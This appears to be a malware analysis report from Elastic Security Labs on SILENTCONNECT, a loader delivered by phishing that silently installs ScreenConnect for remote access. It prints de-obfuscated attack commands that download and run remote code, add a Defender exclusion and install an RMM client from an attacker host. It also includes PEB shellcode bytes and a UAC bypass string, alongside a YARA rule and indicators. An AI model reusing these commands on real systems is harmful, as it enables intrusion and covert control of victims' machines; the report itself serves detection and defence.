Introduction
Elastic Security Labs is observing malicious campaigns delivering a multi-stage infection involving a previously undocumented loader. The infection begins when users are diverted to a Cloudflare Turnstile CAPTCHA page under the guise of a digital invitation. After the link is clicked, a VBScript file is downloaded to the machine. Upon execution, the script retrieves C# source code, which is then compiled and executed in memory using PowerShell. The final payload observed in these campaigns is ScreenConnect, a remote monitoring and management (RMM) tool used to control victim machines.
This campaign highlights a common theme: attackers abusing living-off-the-land binaries (LOLBins) to facilitate execution, as well as using trusted hosting providers such as Google Drive and Cloudflare. While the loader is small and straightforward, it appears to be quite effective and has remained under the radar since March 2025.
Key takeaways
- SILENTCONNECT is a newly discovered loader actively being used in-the-wild
- This loader silently installs ConnectWise ScreenConnect, enabling hands-on keyboard access to victim machines
- Campaigns distributing SILENTCONNECT use hosting infrastructure from Cloudflare and Google Drive
- SILENTCONNECT uses NT API calls, PEB masquerading and includes Windows Defender exclusion and User Account Control (UAC) bypass
SILENTCONNECT infection chain
In the first week of March, our team observed a living off-the-land style infection generating multiple behavioral alerts over a short period.
The initial VBScript download triggered our Suspicious Windows Script Downloaded from the Internet rule, which let us pivot to the source of the infection using the associated file.origin_url and file.origin_referrer_url fields.
By navigating to the original landing page, we observed a Cloudflare Turnstile CAPTCHA page. After clicking the human verification checkbox, a VBScript file (E-INVITE.vbs) is downloaded to the machine.
Below is the source code of the landing page, we can see that the VBScript file (E-INVITE.vbs) is hosted on Cloudflare’s object storage service r2.dev.
Below are other VBScript filenames observed in the last month related to these campaigns:
Alaska Airlines 2026 Fleet & Route Expansion Summary.vbsCODE7_ZOOMCALANDER_INSTALLER_4740.vbs2025Trans.vbsProposal-03-2026.vbs2025Trans.vbsupdatv35.vbs
The VBScripts are minimally obfuscated, using a children’s story as a decoy, and employ the Replace() and Chr() functions to hide the next stage.
This script de-obfuscates to the following command-line output:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass
-command ""New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null;
curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&export=download'
-o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds
8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep
-Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source
-Language CSharp; [HelloWorld]::SayHello()""
This snippet uses PowerShell to invoke curl.exe to download a C# payload from Google Drive, which is then written to the disk with the file name (C:\Windows\Temp\FileR.txt).
The retrieved C# source code uses an obfuscation technique known as constant unfolding to conceal the byte array used for reflective in-memory execution.
Finally, the PowerShell command compiles the downloaded C# source (FileR.txt) at runtime using Add-Type, loads it into memory as a .NET assembly, and executes it via the [HelloWorld]::SayHello() method.
SILENTCONNECT
The following section covers the .NET loader family we call SILENTCONNECT. The sample is relatively small and straightforward, primarily designed to download a remote payload (ScreenConnect) and install it silently on the system.
After sleeping for 15 seconds, the malware allocates executable memory using the native Windows API function via NtAllocateVirtualMemory, assigning the region PAGE_EXECUTE_READWRITE permissions. SILENTCONNECT stores an embedded byte array containing the following shellcode:
53 ; push rbx
48 31 DB ; xor rbx, rbx
48 31 C0 ; xor rax, rax
65 48 8B 1C 25 60000000 ; mov rbx, gs:[0x60] ← PEB address (x64)
48 89 D8 ; mov rax, rbx ← return value
5B ; pop rbx
C3 ; ret
This small shellcode is moved into the recently allocated memory using Marshal.Copy. Next, the malware executes the shellcode in order to retrieve the address of the Process Environment Block (PEB). This approach allows the malware to access process structures directly while avoiding higher-level Windows APIs that are commonly monitored or hooked by security products.
SILENTCONNECT uses NTAPIs from ntdll.dll (Native APIs) and ole32.dll (COM APIs) during the delegate setup stage, enabling the malware to invoke functions such as NtWriteVirtualMemory or CoGetObject directly from.NET.
PEB Masquerading
SILENTCONNECT implements a common malware evasion technique known as PEB masquerading. All Windows processes include a kernel-maintained structure known as the Process Environment Block (PEB). This structure contains a linked list of loaded modules. Inside each linked list are entries that contain the module’s base address, DLL name, and full path. SILENTCONNECT goes through this structure, finding its own module, then overwrites its BaseDLLName and FullDllName to winhlp32.exe and c:\windows\winhlp32.exe.
Many security tooling, including EDRs, use the PEB as a trusted source to detect suspicious activity. This technique can fool these products by using a benign name and path to hide itself.
Before launching the payload, the malware implements a UAC bypass using the function LaunchElevatedCOMObjectUnsafe with the moniker string reversed: :wen!rotartsinimdA:noitavelE -> Elevation:Administrator!new:
If the malware is in an un-elevated state, it will attempt to use the UAC bypass technique via CMSTPLUA COM interface. The launch parameters are stored in a character array in reverse order as a simple obfuscation technique.
The first part of this obfuscated command adds a Microsoft Defender exclusion for .exe files.
$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&($ConcreteDataStructure)
-ExclusionExtension $s -Force;
Below is the result of this command in Defender with the exception added:
After adding the exclusion, SILENTCONNECT creates a temporary directory (C:\Temp) and uses curl.exe to download the malicious ScreenConnect client installer into it. It then invokes msiexec.exe to silently install the RMM. Below is the second-half of the command-line:
New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L
'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'
-o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i
C:\Temp\ScreenConnect.ClientSetup.msi'"
Following installation, the ScreenConnect client persists as a Windows service and beacons to the adversary-controlled ScreenConnect server at bumptobabeco[.]top over TCP port 8041.
SILENTCONNECT campaign
The primary initial access vector for these campaigns starts from phishing emails. We identified an email sample (YOU ARE INVITED.eml) uploaded to VirusTotal from a campaign last year.
The email is sent from dan@checkfirst[.]net[.]au and impersonates a project proposal invitation from a fake company. The email body invites the recipient to submit a proposal by clicking a link. This link redirects the victim to attacker-controlled infrastructure imansport[.]ir/download_invitee.php.
Notably, the threat actor reused the same URI path (download_invitee.php) across all compromised websites to deliver the payload. This consistent naming convention represents a poor operational security (OPSEC) practice, as it provided a reliable pivot point for tracking the campaign's infrastructure and identifying additional compromised hosts through VirusTotal searches such as entity:url url:download_invitee.php.
We also uncovered various legitimate websites that were compromised and used the same infrastructure to facilitate other fraudulent schemes. For example, one URL (solpru[.]com/process/docusign[.]html) hosts a page that closely mimics the DocuSign electronic signature platform.
Fake DocuSign portal
This chain completely jumps SILENTCONNECT by downloading a preconfigured ScreenConnect MSI that automatically connects to the actor’s server (instance-lh1907-relay.screenconnect[.]com).
Another page on a different domain impersonates a Microsoft Teams page and requests that the user download a file, which leads to abuse of the Syncro RMM Agent.
Conclusion
Elastic Security Labs continues to see an uptick in RMM adoption by threat actors. As these tools are used by legitimate IT departments, they are typically overlooked and considered “trusted” in most corporate environments. Organizations must stay vigilant, auditing their environments for unauthorized RMM usage.
While this particular group went a step further by writing a custom loader, the majority of their infection chain leverages Windows binaries to evade detection and blend in with normal system activity. The abuse of trusted platforms such as Google Drive and Cloudflare for payload hosting and lure delivery further complicates detection, as network-based controls are unlikely to block traffic to these services outright. As threat actors continue to favor simplicity and stealth over sophistication, campaigns of this nature are likely to persist and evolve.
SILENTCONNECT and MITRE ATT&CK
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
Tactics
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
Techniques
Techniques represent how an adversary achieves a tactical goal by performing an action.
- Command and Scripting Interpreter: PowerShell
- Impair Defenses: Disable or Modify Tools
- Abuse Elevation Control Mechanism: Bypass User Account Control
- Remote Access Tools: Remote Desktop Software
- Ingress Tool Transfer
- Obfuscated Files or Information
Detecting SILENTCONNECT
- Ingress Tool Transfer via CURL
- Connection to WebService by a Signed Binary Proxy
- UAC Bypass via ICMLuaUtil Elevated COM Interface
- Suspicious PowerShell Execution
- Windows Defender Exclusions via WMI
- Suspicious Windows Powershell Arguments
- Potential File Transfer via Curl for Windows
- Connection to Commonly Abused Web Services
YARA
Elastic Security has created the following YARA rules to identify this activity:
rule Windows_Trojan_SilentConnect_cdc03e84 {
meta:
author = "Elastic Security"
creation_date = "2026-03-04"
last_modified = "2026-03-04"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.SilentConnect"
reference_sample = "8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db"
license = "Elastic License v2"
strings:
$peb_evade = "winhlp32.exe" wide fullword
$rev_elevation = "wen!rotartsinimdA:noitavelE" wide fullword
$masquerade_peb_str = "MasqueradePEB" ascii fullword
$guid = "3E5FC7F9-9A51-4367-9063-A120244FBEC7" wide fullword
$unique_str = "PebFucker" ascii fullword
$peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
$rev_screenconnect = "tcennoCneercS" ascii wide
condition:
5 of them
}
Observations
The following observables were discussed in this research.
| Observable | Type | Name | Reference |
|---|---|---|---|
281226ca0203537fa422b17102047dac314bc0c466ec71b2e6350d75f968f2a3 | SHA-256 | E-INVITE.vbs | VBScript |
adc1cf894cd35a7d7176ac5dab005bea55516bc9998d0c96223b6c0004723c37 | SHA-256 | 2025Trans.vbs | VBScript |
81956d08c8efd2f0e29fd3962bcf9559c73b1591081f14a6297e226958c30d03 | SHA-256 | FileR.txt | C# |
c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7 | SHA-256 | ScreenConnect.ClientSetup.msi | SCREENCONNECT Installer |
8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db | SHA-256 | SILENTCONNECT | |
86.38.225[.]59 | ipv4-addr | ScreenConnect C2 Server | |
bumptobabeco[.]top | domain | ScreenConnect C2 Server | |
instance-lh1907-relay.screenconnect[.]com | domain | ScreenConnect C2 Server | |
349e78de0fe66d1616890e835ede0d18580abe8830c549973d7df8a2a7ffdcec | SHA-256 | ViewDocs.exe | Syncro Installer |
